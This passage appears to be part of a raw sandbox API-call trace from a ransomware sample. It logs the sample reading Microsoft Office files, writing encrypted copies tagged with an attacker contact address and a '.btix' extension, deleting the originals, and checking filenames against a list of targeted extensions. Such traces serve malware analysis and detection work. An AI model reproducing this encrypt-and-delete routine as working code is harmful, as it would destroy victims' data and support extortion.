files\\microsoft office\\root\\client\\ucrtbase.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.096] GetLastError () returned 0x0 [0158.096] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0xefec0, lpOverlapped=0x0) returned 1 [0158.181] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xefed0, lpOverlapped=0x0) returned 1 [0158.536] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.536] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.536] SetEndOfFile (hFile=0x34c) returned 1 [0158.536] CloseHandle (hObject=0x34c) returned 1 [0158.536] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.537] SetEndOfFile (hFile=0x35c) returned 1 [0158.550] CloseHandle (hObject=0x35c) returned 1 [0158.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.550] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\ucrtbase.dll")) returned 1 [0158.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58 [0158.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58 [0158.551] lstrlenW (lpString=".doc") returned 4 [0158.551] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.551] lstrlenW (lpString=".docx") returned 5 [0158.551] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0158.551] lstrlenW (lpString=".pdf") returned 4 [0158.551] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.551] lstrlenW (lpString=".xls") returned 4 [0158.551] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.551] lstrlenW (lpString=".xlsx") returned 5 [0158.551] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0158.551] lstrlenW (lpString=".ppt") returned 4 [0158.551] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58 [0158.551] lstrlenW (lpString=".zip") returned 4 [0158.551] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.551] lstrlenW (lpString=".rar") returned 4 [0158.551] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.551] lstrlenW (lpString=".bz2") returned 4 [0158.551] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.551] lstrlenW (lpString=".7z") returned 3 [0158.551] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58 [0158.551] lstrlenW (lpString=".dbf") returned 4 [0158.551] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58 [0158.551] lstrlenW (lpString=".1cd") returned 4 [0158.551] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58 [0158.551] lstrlenW (lpString=".jpg") returned 4 [0158.551] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58 [0158.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58 [0158.552] lstrlenW (lpString=".doc") returned 4 [0158.552] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0158.552] lstrlenW (lpString=".docx") returned 5 [0158.552] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0158.552] lstrlenW (lpString=".pdf") returned 4 [0158.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0158.552] lstrlenW (lpString=".xls") returned 4 [0158.552] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0158.552] lstrlenW (lpString=".xlsx") returned 5 [0158.552] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0158.552] lstrlenW (lpString=".ppt") returned 4 [0158.552] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0158.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58 [0158.552] lstrlenW (lpString=".zip") returned 4 [0158.552] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0158.552] lstrlenW (lpString=".rar") returned 4 [0158.552] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0158.552] lstrlenW (lpString=".bz2") returned 4 [0158.552] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0158.552] lstrlenW (lpString=".7z") returned 3 [0158.552] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0158.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58 [0158.552] lstrlenW (lpString=".dbf") returned 4 [0158.552] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0158.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58 [0158.552] lstrlenW (lpString=".1cd") returned 4 [0158.552] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0158.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\ucrtbase.dll") returned 58 [0158.552] lstrlenW (lpString=".jpg") returned 4 [0158.552] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0158.552] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0158.553] lstrlenW (lpString="FINCL_01.MID") returned 12 [0158.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0158.553] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=12981) returned 1 [0158.553] CloseHandle (hObject=0x35c) returned 1 [0158.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 0x220 [0158.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0158.554] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.554] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.554] GetLastError () returned 0x0 [0158.554] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x32b5, lpOverlapped=0x0) returned 1 [0158.555] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0158.556] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.556] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.556] SetEndOfFile (hFile=0x34c) returned 1 [0158.556] CloseHandle (hObject=0x34c) returned 1 [0158.556] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.556] SetEndOfFile (hFile=0x35c) returned 1 [0158.557] CloseHandle (hObject=0x35c) returned 1 [0158.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0158.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0158.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0158.558] lstrlenW (lpString=".doc") returned 4 [0158.558] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.558] lstrlenW (lpString=".docx") returned 5 [0158.558] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.558] lstrlenW (lpString=".pdf") returned 4 [0158.558] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.558] lstrlenW (lpString=".xls") returned 4 [0158.558] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.558] lstrlenW (lpString=".xlsx") returned 5 [0158.558] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.558] lstrlenW (lpString=".ppt") returned 4 [0158.558] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0158.558] lstrlenW (lpString=".zip") returned 4 [0158.558] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.558] lstrlenW (lpString=".rar") returned 4 [0158.558] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.558] lstrlenW (lpString=".bz2") returned 4 [0158.558] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.558] lstrlenW (lpString=".7z") returned 3 [0158.558] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0158.558] lstrlenW (lpString=".dbf") returned 4 [0158.558] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0158.559] lstrlenW (lpString=".1cd") returned 4 [0158.559] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0158.559] lstrlenW (lpString=".jpg") returned 4 [0158.559] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0158.559] lstrlenW (lpString=".doc") returned 4 [0158.559] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.559] lstrlenW (lpString=".docx") returned 5 [0158.559] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.559] lstrlenW (lpString=".pdf") returned 4 [0158.559] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.559] lstrlenW (lpString=".xls") returned 4 [0158.559] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.559] lstrlenW (lpString=".xlsx") returned 5 [0158.559] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.559] lstrlenW (lpString=".ppt") returned 4 [0158.559] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0158.559] lstrlenW (lpString=".zip") returned 4 [0158.559] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.559] lstrlenW (lpString=".rar") returned 4 [0158.559] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.559] lstrlenW (lpString=".bz2") returned 4 [0158.559] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.559] lstrlenW (lpString=".7z") returned 3 [0158.559] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0158.559] lstrlenW (lpString=".dbf") returned 4 [0158.559] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0158.559] lstrlenW (lpString=".1cd") returned 4 [0158.559] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 68 [0158.560] lstrlenW (lpString=".jpg") returned 4 [0158.560] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.560] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0158.560] lstrlenW (lpString="FINCL_02.MID") returned 12 [0158.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0158.560] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=9318) returned 1 [0158.560] CloseHandle (hObject=0x35c) returned 1 [0158.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 0x220 [0158.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0158.560] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.561] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.561] GetLastError () returned 0x0 [0158.561] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x2466, lpOverlapped=0x0) returned 1 [0158.562] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x2470, lpOverlapped=0x0) returned 1 [0158.563] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.563] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.563] SetEndOfFile (hFile=0x34c) returned 1 [0158.563] CloseHandle (hObject=0x34c) returned 1 [0158.563] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.563] SetEndOfFile (hFile=0x35c) returned 1 [0158.564] CloseHandle (hObject=0x35c) returned 1 [0158.564] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.564] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0158.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0158.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0158.565] lstrlenW (lpString=".doc") returned 4 [0158.565] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.565] lstrlenW (lpString=".docx") returned 5 [0158.565] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0158.565] lstrlenW (lpString=".pdf") returned 4 [0158.565] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.565] lstrlenW (lpString=".xls") returned 4 [0158.565] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.565] lstrlenW (lpString=".xlsx") returned 5 [0158.565] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0158.565] lstrlenW (lpString=".ppt") returned 4 [0158.565] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0158.565] lstrlenW (lpString=".zip") returned 4 [0158.565] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.565] lstrlenW (lpString=".rar") returned 4 [0158.565] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.565] lstrlenW (lpString=".bz2") returned 4 [0158.565] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.565] lstrlenW (lpString=".7z") returned 3 [0158.565] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0158.565] lstrlenW (lpString=".dbf") returned 4 [0158.565] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0158.565] lstrlenW (lpString=".1cd") returned 4 [0158.565] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.565] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68 [0158.565] lstrlenW (lpString=".jpg") returned 4 [0158.565] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.566] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.566] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0158.566] GetLastError () returned 0x0 [0158.566] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0158.567] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x1d90, lpOverlapped=0x0) returned 1 [0158.568] ReadFile (in: hFile=0x35c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.568] WriteFile (in: hFile=0x34c, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.568] SetEndOfFile (hFile=0x34c) returned 1 [0158.568] CloseHandle (hObject=0x34c) returned 1 [0158.568] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.568] SetEndOfFile (hFile=0x35c) returned 1 [0158.569] CloseHandle (hObject=0x35c) returned 1 [0158.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0158.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0158.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0158.570] lstrlenW (lpString=".doc") returned 4 [0158.570] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.570] lstrlenW (lpString=".docx") returned 5 [0158.570] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.570] lstrlenW (lpString=".pdf") returned 4 [0158.570] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.570] lstrlenW (lpString=".xls") returned 4 [0158.570] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.570] lstrlenW (lpString=".xlsx") returned 5 [0158.570] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.570] lstrlenW (lpString=".ppt") returned 4 [0158.570] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0158.570] lstrlenW (lpString=".zip") returned 4 [0158.570] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.570] lstrlenW (lpString=".rar") returned 4 [0158.570] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.570] lstrlenW (lpString=".bz2") returned 4 [0158.570] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.570] lstrlenW (lpString=".7z") returned 3 [0158.570] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0158.570] lstrlenW (lpString=".dbf") returned 4 [0158.570] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0158.570] lstrlenW (lpString=".1cd") returned 4 [0158.570] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68 [0158.570] lstrlenW (lpString=".jpg") returned 4 [0158.570] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.571] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.571] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 